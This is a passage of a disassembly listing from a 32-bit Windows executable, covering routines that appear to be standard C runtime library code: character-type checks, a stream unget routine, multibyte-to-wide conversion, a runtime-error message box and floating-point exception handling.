loc_418CDD call sub_40F7E7 mov ecx, [ebp+var_1C] mov [eax], ecx loc_418CCE: ; CODE XREF: sub_418C1B+80j call sub_40F7D4 mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_418CDD: ; CODE XREF: sub_418C1B+A7j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_418CF2 mov eax, [ebp+var_1C] loc_418CEC: ; CODE XREF: sub_418C1B+22j call __SEH_epilog4 retn sub_418C1B endp ; =============== S U B R O U T I N E ======================================= sub_418CF2 proc near ; CODE XREF: sub_418C1B+C9p ; DATA XREF: r69pu5ti:00421ED8o push dword ptr [ebp+8] call sub_418A5A pop ecx retn sub_418CF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418CFC proc near ; CODE XREF: sub_418D4B+21p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40AB59 mov eax, [ebp+var_10] cmp dword ptr [eax+0ACh], 1 jle short loc_418D2C lea eax, [ebp+var_10] push eax push 4 push [ebp+arg_0] call sub_4167A4 add esp, 0Ch jmp short loc_418D3C ; --------------------------------------------------------------------------- loc_418D2C: ; CODE XREF: sub_418CFC+1Bj mov eax, [eax+0C8h] mov ecx, [ebp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 4 loc_418D3C: ; CODE XREF: sub_418CFC+2Ej cmp [ebp+var_4], 0 jz short locret_418D49 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_418D49: ; CODE XREF: sub_418CFC+44j leave retn sub_418CFC endp ; =============== S U B R O U T I N E ======================================= sub_418D4B proc near ; CODE XREF: sub_412A74+1B6p ; sub_412A74+3EFp ... arg_0 = dword ptr 4 cmp dword_425E60, 0 jnz short loc_418D66 mov eax, [esp+arg_0] mov ecx, off_423668 movzx eax, byte ptr [ecx+eax*2] and eax, 4 retn ; --------------------------------------------------------------------------- loc_418D66: ; CODE XREF: sub_418D4B+7j push 0 push [esp+4+arg_0] call sub_418CFC pop ecx pop ecx retn sub_418D4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D74 proc near ; CODE XREF: sub_418DC8+23p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40AB59 mov eax, [ebp+var_10] cmp dword ptr [eax+0ACh], 1 jle short loc_418DA7 lea eax, [ebp+var_10] push eax push 80h push [ebp+arg_0] call sub_4167A4 add esp, 0Ch jmp short loc_418DB9 ; --------------------------------------------------------------------------- loc_418DA7: ; CODE XREF: sub_418D74+1Bj mov eax, [eax+0C8h] mov ecx, [ebp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 80h loc_418DB9: ; CODE XREF: sub_418D74+31j cmp [ebp+var_4], 0 jz short locret_418DC6 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_418DC6: ; CODE XREF: sub_418D74+49j leave retn sub_418D74 endp ; =============== S U B R O U T I N E ======================================= sub_418DC8 proc near ; CODE XREF: sub_412A74+9DFp ; sub_412A74+AB7p arg_0 = dword ptr 4 cmp dword_425E60, 0 jnz short loc_418DE5 mov eax, [esp+arg_0] mov ecx, off_423668 movzx eax, byte ptr [ecx+eax*2] and eax, 80h retn ; --------------------------------------------------------------------------- loc_418DE5: ; CODE XREF: sub_418DC8+7j push 0 push [esp+4+arg_0] call sub_418D74 pop ecx pop ecx retn sub_418DC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DF3 proc near ; CODE XREF: sub_418E42+21p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40AB59 mov eax, [ebp+var_10] cmp dword ptr [eax+0ACh], 1 jle short loc_418E23 lea eax, [ebp+var_10] push eax push 8 push [ebp+arg_0] call sub_4167A4 add esp, 0Ch jmp short loc_418E33 ; --------------------------------------------------------------------------- loc_418E23: ; CODE XREF: sub_418DF3+1Bj mov eax, [eax+0C8h] mov ecx, [ebp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 8 loc_418E33: ; CODE XREF: sub_418DF3+2Ej cmp [ebp+var_4], 0 jz short locret_418E40 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_418E40: ; CODE XREF: sub_418DF3+44j leave retn sub_418DF3 endp ; =============== S U B R O U T I N E ======================================= sub_418E42 proc near ; CODE XREF: sub_412A4F+17p ; sub_412A74+13Cp ... arg_0 = dword ptr 4 cmp dword_425E60, 0 jnz short loc_418E5D mov eax, [esp+arg_0] mov ecx, off_423668 movzx eax, byte ptr [ecx+eax*2] and eax, 8 retn ; --------------------------------------------------------------------------- loc_418E5D: ; CODE XREF: sub_418E42+7j push 0 push [esp+4+arg_0] call sub_418DF3 pop ecx pop ecx retn sub_418E42 endp ; =============== S U B R O U T I N E ======================================= sub_418E6B proc near ; CODE XREF: sub_412A74+15Ep ; sub_412A74+5BEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp push esi mov esi, [esp+0Ch+arg_4] or ebp, 0FFFFFFFFh test byte ptr [esi+0Ch], 40h push edi jnz loc_418F28 push esi call sub_4126A4 cmp eax, ebp pop ecx mov ebx, offset dword_423BB8 jz short loc_418EBE push esi call sub_4126A4 cmp eax, 0FFFFFFFEh pop ecx jz short loc_418EBE push esi call sub_4126A4 sar eax, 5 push esi lea edi, ds:433C00h[eax*4] call sub_4126A4 and eax, 1Fh imul eax, 28h add eax, [edi] pop ecx pop ecx jmp short loc_418EC0 ; --------------------------------------------------------------------------- loc_418EBE: ; CODE XREF: sub_418E6B+23j ; sub_418E6B+2Fj mov eax, ebx loc_418EC0: ; CODE XREF: sub_418E6B+51j test byte ptr [eax+24h], 7Fh jnz short loc_418F07 push esi call sub_4126A4 cmp eax, ebp pop ecx jz short loc_418EFF push esi call sub_4126A4 cmp eax, 0FFFFFFFEh pop ecx jz short loc_418EFF push esi call sub_4126A4 sar eax, 5 push esi lea edi, ds:433C00h[eax*4] call sub_4126A4 and eax, 1Fh imul eax, 28h add eax, [edi] pop ecx pop ecx jmp short loc_418F01 ; --------------------------------------------------------------------------- loc_418EFF: ; CODE XREF: sub_418E6B+64j ; sub_418E6B+70j mov eax, ebx loc_418F01: ; CODE XREF: sub_418E6B+92j test byte ptr [eax+24h], 80h jz short loc_418F28 loc_418F07: ; CODE XREF: sub_418E6B+59j call sub_40F7D4 xor edi, edi push edi push edi push edi push edi push edi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h loc_418F21: ; CODE XREF: sub_418E6B+C3j ; sub_418E6B+CEj ... mov eax, ebp loc_418F23: ; CODE XREF: sub_418E6B+11Cj pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_418F28: ; CODE XREF: sub_418E6B+Fj ; sub_418E6B+9Aj mov ebx, [esp+10h+arg_0] cmp ebx, ebp jz short loc_418F21 mov eax, [esi+0Ch] test al, 1 jnz short loc_418F3F test al, al jns short loc_418F21 test al, 2 jnz short loc_418F21 loc_418F3F: ; CODE XREF: sub_418E6B+CAj xor edi, edi cmp [esi+8], edi jnz short loc_418F4D push esi call sub_41725C pop ecx loc_418F4D: ; CODE XREF: sub_418E6B+D9j mov eax, [esi] cmp eax, [esi+8] jnz short loc_418F5C cmp [esi+4], edi jnz short loc_418F21 inc eax mov [esi], eax loc_418F5C: ; CODE XREF: sub_418E6B+E7j dec dword ptr [esi] test byte ptr [esi+0Ch], 40h mov eax, [esi] jz short loc_418F6F cmp [eax], bl jz short loc_418F71 inc eax mov [esi], eax jmp short loc_418F21 ; --------------------------------------------------------------------------- loc_418F6F: ; CODE XREF: sub_418E6B+F9j mov [eax], bl loc_418F71: ; CODE XREF: sub_418E6B+FDj mov eax, [esi+0Ch] inc dword ptr [esi+4] and eax, 0FFFFFFEFh or eax, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_418F23 sub_418E6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F89 proc near ; CODE XREF: sub_412A74+6FFp ; sub_41909C+Ep var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_418FAD cmp [ebp+arg_8], ebx jz short loc_418FAD cmp [esi], bl jnz short loc_418FB3 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_418FAD mov [eax], bx loc_418FAD: ; CODE XREF: sub_418F89+Fj ; sub_418F89+14j ... xor eax, eax loc_418FAF: ; CODE XREF: sub_418F89+5Aj ; sub_418F89+BBj ... pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418FB3: ; CODE XREF: sub_418F89+18j push [ebp+arg_C] lea ecx, [ebp+var_10] call sub_40AB59 mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz short loc_418FE5 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_418FD4 movzx cx, byte ptr [esi] mov [eax], cx loc_418FD4: ; CODE XREF: sub_418F89+42j ; sub_418F89+10Bj cmp [ebp+var_4], bl jz short loc_418FE0 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_418FE0: ; CODE XREF: sub_418F89+4Ej xor eax, eax inc eax jmp short loc_418FAF ; --------------------------------------------------------------------------- loc_418FE5: ; CODE XREF: sub_418F89+3Bj lea eax, [ebp+var_10] push eax movzx eax, byte ptr [esi] push eax call sub_416760 test eax, eax pop ecx pop ecx jz short loc_419075 mov eax, [ebp+var_10] mov ecx, [eax+0ACh] cmp ecx, 1 jle short loc_41902B cmp [ebp+arg_8], ecx jl short loc_41902B xor edx, edx cmp [ebp+arg_0], ebx setnz dl push edx push [ebp+arg_0] push ecx push esi push 9 push dword ptr [eax+4] call ds:dword_41E08C ; MultiByteToWideChar test eax, eax mov eax, [ebp+var_10] jnz short loc_41903B loc_41902B: ; CODE XREF: sub_418F89+7Bj ; sub_418F89+80j mov ecx, [ebp+arg_8] cmp ecx, [eax+0ACh] jb short loc_419056 cmp [esi+1], bl jz short loc_419056 loc_41903B: ; CODE XREF: sub_418F89+A0j cmp [ebp+var_4], bl mov eax, [eax+0ACh] jz loc_418FAF mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp loc_418FAF ; --------------------------------------------------------------------------- loc_419056: ; CODE XREF: sub_418F89+ABj ; sub_418F89+B0j ... call sub_40F7D4 mov dword ptr [eax], 2Ah cmp [ebp+var_4], bl jz short loc_41906D mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_41906D: ; CODE XREF: sub_418F89+DBj or eax, 0FFFFFFFFh jmp loc_418FAF ; --------------------------------------------------------------------------- loc_419075: ; CODE XREF: sub_418F89+6Dj xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] mov eax, [ebp+var_10] push 1 push esi push 9 push dword ptr [eax+4] call ds:dword_41E08C ; MultiByteToWideChar test eax, eax jnz loc_418FD4 jmp short loc_419056 sub_418F89 endp ; =============== S U B R O U T I N E ======================================= sub_41909C proc near ; CODE XREF: sub_416BBA+18Ep ; sub_416BBA+1BCp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418F89 add esp, 10h retn sub_41909C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4190C0 proc near ; CODE XREF: sub_412A74+9CFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_4190D9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4190D9: ; CODE XREF: sub_4190C0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_4190C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190F4 proc near ; CODE XREF: sub_4136C1+15Dp var_30 = dword ptr -30h var_20 = byte ptr -20h var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi call sub_40F18B xor ebx, ebx cmp dword_426508, ebx mov [ebp+var_10], eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx mov [ebp+var_C], ebx jnz loc_4191C9 push offset aUser32_dll ; "USER32.DLL" call ds:off_41E0D0 mov edi, eax cmp edi, ebx jnz short loc_419134 loc_41912D: ; CODE XREF: sub_4190F4+50j xor eax, eax jmp loc_41928D ; --------------------------------------------------------------------------- loc_419134: ; CODE XREF: sub_4190F4+37j mov esi, ds:off_41E0D4 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; sub_44439D cmp eax, ebx jz short loc_41912D push eax call sub_40F128 mov [esp+30h+var_30], offset aGetactivewindo ; "GetActiveWindow" push edi mov dword_426508, eax call esi ; sub_44439D push eax call sub_40F128 mov [esp+30h+var_30], offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_42650C, eax call esi ; sub_44439D push eax call sub_40F128 mov dword_426510, eax lea eax, [ebp+var_8] push eax call sub_411A06 test eax, eax pop ecx pop ecx jz short loc_419197 push ebx push ebx push ebx push ebx push ebx call sub_40CA0C add esp, 14h loc_419197: ; CODE XREF: sub_4190F4+94j cmp [ebp+var_8], 2 jnz short loc_4191C9 push offset aGetuserobjecti ; "GetUserObjectInformationA" push edi call esi ; sub_44439D push eax call sub_40F128 cmp eax, ebx pop ecx mov dword_426518, eax jz short loc_4191C9 push offset aGetprocesswind ; "GetProcessWindowStation" push edi call esi ; sub_44439D push eax call sub_40F128 pop ecx mov dword_426514, eax loc_4191C9: ; CODE XREF: sub_4190F4+22j ; sub_4190F4+A7j ... mov eax, dword_426514 mov esi, [ebp+var_10] cmp eax, esi jz short loc_419242 cmp dword_426518, esi jz short loc_419242 push eax call sub_40F194 pop ecx call eax cmp eax, ebx jz short loc_41920F lea ecx, [ebp+var_14] push ecx push 0Ch lea ecx, [ebp+var_20] push ecx push 1 push eax push dword_426518 call sub_40F194 pop ecx call eax test eax, eax jz short loc_41920F test [ebp+var_18], 1 jnz short loc_419242 loc_41920F: ; CODE XREF: sub_4190F4+F4j ; sub_4190F4+113j lea eax, [ebp+var_C] push eax call sub_411A3D test eax, eax pop ecx jz short loc_41922A push ebx push ebx push ebx push ebx push ebx call sub_40CA0C add esp, 14h loc_41922A: ; CODE XREF: sub_4190F4+127j cmp [ebp+var_C], 4 jb short loc_419239 or [ebp+arg_8], 200000h jmp short loc_419273 ; --------------------------------------------------------------------------- loc_419239: ; CODE XREF: sub_4190F4+13Aj or [ebp+arg_8], 40000h jmp short loc_419273 ; --------------------------------------------------------------------------- loc_419242: ; CODE XREF: sub_4190F4+DFj ; sub_4190F4+E7j ... mov eax, dword_42650C cmp eax, esi jz short loc_419273 push eax call sub_40F194 pop ecx call eax cmp eax, ebx mov [ebp+var_4], eax jz short loc_419273 mov eax, dword_426510 cmp eax, esi jz short loc_419273 push [ebp+var_4] push eax call sub_40F194 pop ecx call eax mov [ebp+var_4], eax loc_419273: ; CODE XREF: sub_4190F4+143j ; sub_4190F4+14Cj ... push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push [ebp+var_4] push dword_426508 call sub_40F194 pop ecx call eax loc_41928D: ; CODE XREF: sub_4190F4+3Bj pop edi pop esi pop ebx leave retn sub_4190F4 endp ; =============== S U B R O U T I N E ======================================= sub_419292 proc near ; CODE XREF: sub_4136C1+27p ; sub_4136C1+38p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi cmp ecx, esi jl short loc_4192BB cmp ecx, 2 jle short loc_4192AE cmp ecx, 3 jnz short loc_4192BB mov eax, dword_425B1C pop esi retn ; --------------------------------------------------------------------------- loc_4192AE: ; CODE XREF: sub_419292+Ej mov eax, dword_425B1C mov dword_425B1C, ecx pop esi retn ; --------------------------------------------------------------------------- loc_4192BB: ; CODE XREF: sub_419292+9j ; sub_419292+13j call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh pop esi retn sub_419292 endp ; =============== S U B R O U T I N E ======================================= sub_4192D8 proc near ; CODE XREF: sub_41986A+5Fp ; DATA XREF: sub_4143F6:loc_414438o xor eax, eax retn sub_4192D8 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_293. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4192DC proc near ; CODE XREF: sub_41933Cp mov eax, offset sub_41AE5A mov off_423F60, eax mov off_423F64, offset sub_41A556 mov off_423F68, offset sub_41A514 mov off_423F6C, offset sub_41A548 mov off_423F70, offset word_41A4BE mov off_423F74, eax mov off_423F78, offset sub_41ADD4 mov off_423F7C, offset sub_41A4D4 mov off_423F80, offset sub_41A43E mov off_423F84, offset sub_41A3CD retn sub_4192DC endp ; =============== S U B R O U T I N E ======================================= sub_41933C proc near ; CODE XREF: sub_411A79+1Cp ; DATA XREF: r69pu5ti:off_41FD6Co arg_0 = dword ptr 4 call sub_4192DC call sub_41AEE0 cmp [esp+arg_0], 0 mov dword_426520, eax jz short loc_419357 call sub_41AE7B loc_419357: ; CODE XREF: sub_41933C+14j fnclex retn sub_41933C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41935A proc near ; CODE XREF: sub_41995B+4Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov cl, byte ptr [ebp+arg_8] push ebx push esi push edi xor edi, edi mov [eax+4], edi mov eax, [ebp+arg_0] xor ebx, ebx mov [eax+8], edi mov eax, [ebp+arg_0] inc ebx test cl, 10h mov [eax+0Ch], edi jz short loc_41938C mov eax, [ebp+arg_0] or [eax+4], ebx mov [ebp+arg_8], 0C000008Fh loc_41938C: ; CODE XREF: sub_41935A+23j test cl, 2 jz short loc_41939F mov eax, [ebp+arg_0] or dword ptr [eax+4], 2 mov [ebp+arg_8], 0C0000093h loc_41939F: ; CODE XREF: sub_41935A+35j test cl, bl jz short loc_4193B1 mov eax, [ebp+arg_0] or dword ptr [eax+4], 4 mov [ebp+arg_8], 0C0000091h loc_4193B1: ; CODE XREF: sub_41935A+47j test cl, 4 jz short loc_4193C4 mov eax, [ebp+arg_0] or dword ptr [eax+4], 8 mov [ebp+arg_8], 0C000008Eh loc_4193C4: ; CODE XREF: sub_41935A+5Aj test cl, 8 jz short loc_4193D7 mov eax, [ebp+arg_0] or dword ptr [eax+4], 10h mov [ebp+arg_8], 0C0000090h loc_4193D7: ; CODE XREF: sub_41935A+6Dj mov esi, [ebp+arg_4] mov ecx, [esi] mov eax, [ebp+arg_0] shl ecx, 4 not ecx xor ecx, [eax+8] and ecx, 10h xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] add ecx, ecx not ecx xor ecx, [eax+8] and ecx, 8 xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] shr ecx, 1 not ecx xor ecx, [eax+8] and ecx, 4 xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] shr ecx, 3 not ecx xor ecx, [eax+8] and ecx, 2 xor [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] shr ecx, 5 not ecx xor ecx, [eax+8] and ecx, ebx xor [eax+8], ecx call sub_419B5A test al, bl jz short loc_419446 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_419446: ; CODE XREF: sub_41935A+E3j test al, 4 jz short loc_419451 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_419451: ; CODE XREF: sub_41935A+EEj test al, 8 jz short loc_41945C mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41945C: ; CODE XREF: sub_41935A+F9j test al, 10h jz short loc_419467 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 2 loc_419467: ; CODE XREF: sub_41935A+104j test al, 20h jz short loc_419471 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_419471: ; CODE XREF: sub_41935A+10Fj mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_4194B1 cmp eax, 400h jz short loc_4194A5 cmp eax, 800h jz short loc_419496 cmp eax, ecx jnz short loc_4194B7 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_4194B7 ; --------------------------------------------------------------------------- loc_419496: ; CODE XREF: sub_41935A+12Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, 2 loc_4194A1: ; CODE XREF: sub_41935A+155j mov [eax], ecx jmp short loc_4194B7 ; --------------------------------------------------------------------------- loc_4194A5: ; CODE XREF: sub_41935A+127j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx jmp short loc_4194A1 ; --------------------------------------------------------------------------- loc_4194B1: ; CODE XREF: sub_41935A+120j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_4194B7: ; CODE XREF: sub_41935A+132j ; sub_41935A+13Aj ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_4194E2 cmp eax, 200h jz short loc_4194D5 cmp eax, ecx jnz short loc_4194EF mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_4194EF ; --------------------------------------------------------------------------- loc_4194D5: ; CODE XREF: sub_41935A+16Dj mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_4194ED ; --------------------------------------------------------------------------- loc_4194E2: ; CODE XREF: sub_41935A+166j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_4194ED: ; CODE XREF: sub_41935A+186j mov [eax], ecx loc_4194EF: ; CODE XREF: sub_41935A+171j ; sub_41935A+179j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] shl ecx, 5 xor ecx, [eax] and ecx, 1FFE0h xor [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx cmp [ebp+arg_18], edi mov eax, [ebp+arg_0] mov edi, [ebp+arg_14] jz short loc_419539 and dword ptr [eax+20h], 0FFFFFFE1h mov eax, [ebp+arg_10] fld dword ptr [eax] mov eax, [ebp+arg_0] fstp dword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+60h], ebx mov eax, [ebp+arg_0] and dword ptr [eax+60h], 0FFFFFFE1h fld dword ptr [edi] mov eax, [ebp+arg_0] fstp dword ptr [eax+50h] jmp short loc_41956D ; --------------------------------------------------------------------------- loc_419539: ; CODE XREF: sub_41935A+1B7j mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, 2 mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+60h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+60h] and ecx, 0FFFFFFE3h or ecx, 2 mov [eax+60h], ecx fld qword ptr [edi] mov eax, [ebp+arg_0] fstp qword ptr [eax+50h] loc_41956D: ; CODE XREF: sub_41935A+1DDj call sub_419B65 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call ds:off_41E188 mov ecx, [ebp+arg_0] test byte ptr [ecx+8], 10h jz short loc_41958E and dword ptr [esi], 0FFFFFFFEh loc_41958E: ; CODE XREF: sub_41935A+22Fj test byte ptr [ecx+8], 8 jz short loc_419597 and dword ptr [esi], 0FFFFFFFBh loc_419597: ; CODE XREF: sub_41935A+238j test byte ptr [ecx+8], 4 jz short loc_4195A0 and dword ptr [esi], 0FFFFFFF7h loc_4195A0: ; CODE XREF: sub_41935A+241j test byte ptr [ecx+8], 2 jz short loc_4195A9 and dword ptr [esi], 0FFFFFFEFh loc_4195A9: ; CODE XREF: sub_41935A+24Aj test [ecx+8], bl jz short loc_4195B1 and dword ptr [esi], 0FFFFFFDFh loc_4195B1: ; CODE XREF: sub_41935A+252j mov eax, [ecx] and eax, 3 xor ebx, ebx sub eax, ebx mov edx, 0FFFFF3FFh jz short loc_4195F0 dec eax jz short loc_4195E2 dec eax jz short loc_4195D2 dec eax jnz short loc_4195F2 or dword ptr [esi], 0C00h jmp short loc_4195F2 ; --------------------------------------------------------------------------- loc_4195D2: ; CODE XREF: sub_41935A+26Bj mov eax, [esi] and eax, 0FFFFFBFFh or eax, 800h loc_4195DE: ; CODE XREF: sub_41935A+294j mov [esi], eax jmp short loc_4195F2 ; --------------------------------------------------------------------------- loc_4195E2: ; CODE XREF: sub_41935A+268j mov eax, [esi] and eax, 0FFFFF7FFh or eax, 400h jmp short loc_4195DE ; --------------------------------------------------------------------------- loc_4195F0: ; CODE XREF: sub_41935A+265j and [esi], edx loc_4195F2: ; CODE XREF: sub_41935A+26Ej ; sub_41935A+276j ... mov eax, [ecx] shr eax, 2 and eax, 7 sub eax, ebx jz short loc_419613 dec eax jz short loc_419608 dec eax jnz short loc_41961E and [esi], edx jmp short loc_41961E ; --------------------------------------------------------------------------- loc_419608: ; CODE XREF: sub_41935A+2A5j mov eax, [esi] and eax, edx or eax, 200h jmp short loc_41961C ; --------------------------------------------------------------------------- loc_419613: ; CODE XREF: sub_41935A+2A2j mov eax, [esi] and eax, edx or eax, 300h loc_41961C: ; CODE XREF: sub_41935A+2B7j mov [esi], eax loc_41961E: ; CODE XREF: sub_41935A+2A8j ; sub_41935A+2ACj cmp [ebp+arg_18], ebx jz short loc_41962A fld dword ptr [ecx+50h] fstp dword ptr [edi] jmp short loc_41962F ; --------------------------------------------------------------------------- loc_41962A: ; CODE XREF: sub_41935A+2C7j fld qword ptr [ecx+50h] fstp qword ptr [edi] loc_41962F: ; CODE XREF: sub_41935A+2CEj pop edi pop esi pop ebx pop ebp retn sub_41935A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419634 proc near ; CODE XREF: sub_41995B+21p var_28 = qword ptr -28h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] push ebx push esi xor ebx, ebx mov esi, eax and esi, 1Fh inc ebx test al, 8 mov [ebp+var_4], esi jz short loc_419662 test byte ptr [ebp+arg_8], bl jz short loc_419662 push ebx call sub_419B98 pop ecx and esi, 0FFFFFFF7h jmp loc_4197F3 ; --------------------------------------------------------------------------- loc_419662: ; CODE XREF: sub_419634+18j ; sub_419634+1Dj test al, 4 jz short loc_41967C test byte ptr [ebp+arg_8], 4 jz short loc_41967C push 4 call sub_419B98 pop ecx and esi, 0FFFFFFFBh jmp loc_4197F3 ; --------------------------------------------------------------------------- loc_41967C: ; CODE XREF: sub_419634+30j ; sub_419634+36j test al, bl jz loc_41971E test byte ptr [ebp+arg_8], 8 jz loc_41971E push 8 call sub_419B98 mov eax, [ebp+arg_8] pop ecx mov ecx, 0C00h and eax, ecx jz short loc_4196F6 cmp eax, 400h jz short loc_4196E0 cmp eax, 800h jz short loc_4196CA cmp eax, ecx jnz short loc_419716 fldz mov ecx, [ebp+arg_4] fcomp qword ptr [ecx] fnstsw ax fld dbl_4240A8 test ah, 5 jnp short loc_419714 jmp short loc_419712 ; --------------------------------------------------------------------------- loc_4196CA: ; CODE XREF: sub_419634+7Aj fldz mov ecx, [ebp+arg_4] fcomp qword ptr [ecx] fnstsw ax test ah, 5 jnp short loc_419704 fld dbl_4240A8 jmp short loc_419712 ; --------------------------------------------------------------------------- loc_4196E0: ; CODE XREF: sub_419634+73j fldz mov ecx, [ebp+arg_4] fcomp qword ptr [ecx] fnstsw ax test ah, 5 jp short loc_41970C fld dbl_4240A8 jmp short loc_419714 ; --------------------------------------------------------------------------- loc_4196F6: ; CODE XREF: sub_419634+6Cj fldz mov ecx, [ebp+arg_4] fcomp qword ptr [ecx] fnstsw ax test ah, 5 jp short loc_41970C loc_419704: ; CODE XREF: sub_419634+A2j fld dbl_424098 jmp short loc_419714 ; --------------------------------------------------------------------------- loc_41970C: ; CODE XREF: sub_419634+B8j ; sub_419634+CEj fld dbl_424098 loc_419712: ; CODE XREF: sub_419634+94j ; sub_419634+AAj fchs loc_419714: ; CODE XREF: sub_419634+92j ; sub_419634+C0j ... fstp qword ptr [ecx] loc_419716: ; CODE XREF: sub_419634+7Ej and esi, 0FFFFFFFEh jmp loc_4197F3 ; 